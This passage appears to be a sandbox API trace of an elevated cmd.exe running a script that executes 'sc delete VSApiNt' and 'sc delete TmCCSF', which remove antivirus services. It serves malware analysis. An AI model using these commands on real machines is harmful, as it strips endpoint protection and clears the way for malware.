lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1cba10 [0068.672] FindClose (in: hFindFile=0x1cba10 | out: hFindFile=0x1cba10) returned 1 [0068.672] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.672] GetProcessHeap () returned 0x1b0000 [0068.672] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.672] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.672] GetProcessHeap () returned 0x1b0000 [0068.672] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9c) returned 0x1c9180 [0068.672] GetProcessHeap () returned 0x1b0000 [0068.672] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9c [0068.672] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete VSApiNt") returned 1 [0068.673] GetProcessHeap () returned 0x1b0000 [0068.673] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.673] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.673] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.673] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.673] GetProcessHeap () returned 0x1b0000 [0068.673] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.673] GetProcessHeap () returned 0x1b0000 [0068.673] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.673] GetProcessHeap () returned 0x1b0000 [0068.673] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.673] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete VSApiNt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete VSApiNt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete VSApiNt", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb0, dwThreadId=0x818)) returned 1 [0068.676] CloseHandle (hObject=0x50) returned 1 [0068.676] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.676] GetProcessHeap () returned 0x1b0000 [0068.676] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0068.676] GetEnvironmentStringsW () returned 0x1d1b10* [0068.676] GetProcessHeap () returned 0x1b0000 [0068.676] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.676] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.676] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.677] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd5000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.677] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.724] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.724] CloseHandle (hObject=0x54) returned 1 [0068.724] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.724] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.724] GetProcessHeap () returned 0x1b0000 [0068.724] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.724] GetEnvironmentStringsW () returned 0x1d1b10* [0068.724] GetProcessHeap () returned 0x1b0000 [0068.724] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.724] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.725] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.725] GetProcessHeap () returned 0x1b0000 [0068.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.725] GetEnvironmentStringsW () returned 0x1d1b10* [0068.725] GetProcessHeap () returned 0x1b0000 [0068.725] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.725] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.725] GetProcessHeap () returned 0x1b0000 [0068.725] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.725] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.725] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.726] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.726] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.726] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.726] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.726] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.726] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.727] GetConsoleOutputCP () returned 0x1b5 [0068.727] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.727] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.727] GetProcessHeap () returned 0x1b0000 [0068.727] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.727] GetProcessHeap () returned 0x1b0000 [0068.727] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.727] GetProcessHeap () returned 0x1b0000 [0068.727] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.727] GetProcessHeap () returned 0x1b0000 [0068.727] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc590 | out: hHeap=0x1b0000) returned 1 [0068.727] GetProcessHeap () returned 0x1b0000 [0068.727] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0068.727] GetProcessHeap () returned 0x1b0000 [0068.727] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.727] GetProcessHeap () returned 0x1b0000 [0068.727] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.727] GetProcessHeap () returned 0x1b0000 [0068.727] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.727] GetProcessHeap () returned 0x1b0000 [0068.727] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.728] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.728] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.728] GetFileType (hFile=0x120) returned 0x3 [0068.728] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.728] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.728] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.728] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.728] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.728] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.728] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.728] GetFileType (hFile=0x120) returned 0x3 [0068.728] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.728] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.728] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.728] GetFileType (hFile=0xb8) returned 0x3 [0068.728] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.728] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.728] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.729] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.729] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.729] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.729] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.729] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.729] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.729] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.729] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.729] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.729] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.729] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.729] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.729] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.729] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.729] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.730] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.730] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.730] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="TSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.730] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="mApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="CpiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="CiNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="SNt\nanService\ne\n\n\nA\"\n") returned 1 [0068.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.731] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.731] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="Ft\nanService\ne\n\n\nA\"\n") returned 1 [0068.731] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.731] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.732] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.732] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.732] GetFileType (hFile=0xb8) returned 0x3 [0068.732] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.732] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.732] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.732] GetFileType (hFile=0x120) returned 0x3 [0068.732] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmCCSF\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmCCSF\n", lpUsedDefaultChar=0x0) returned 18 [0068.732] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x11, lpOverlapped=0x0) returned 1 [0068.732] GetProcessHeap () returned 0x1b0000 [0068.732] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.732] GetProcessHeap () returned 0x1b0000 [0068.732] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.732] GetProcessHeap () returned 0x1b0000 [0068.732] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.732] GetProcessHeap () returned 0x1b0000 [0068.732] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.732] GetProcessHeap () returned 0x1b0000 [0068.732] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2e) returned 0x1c6510 [0068.732] GetConsoleOutputCP () returned 0x1b5 [0068.733] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.733] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.733] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.733] GetProcessHeap () returned 0x1b0000 [0068.733] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.733] GetProcessHeap () returned 0x1b0000 [0068.733] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x34) returned 0x1c6550 [0068.733] GetProcessHeap () returned 0x1b0000 [0068.733] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0068.733] SetErrorMode (uMode=0x0) returned 0x1 [0068.733] SetErrorMode (uMode=0x1) returned 0x0 [0068.733] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.733] SetErrorMode (uMode=0x1) returned 0x1 [0068.734] GetProcessHeap () returned 0x1b0000 [0068.734] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0068.734] GetProcessHeap () returned 0x1b0000 [0068.734] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, 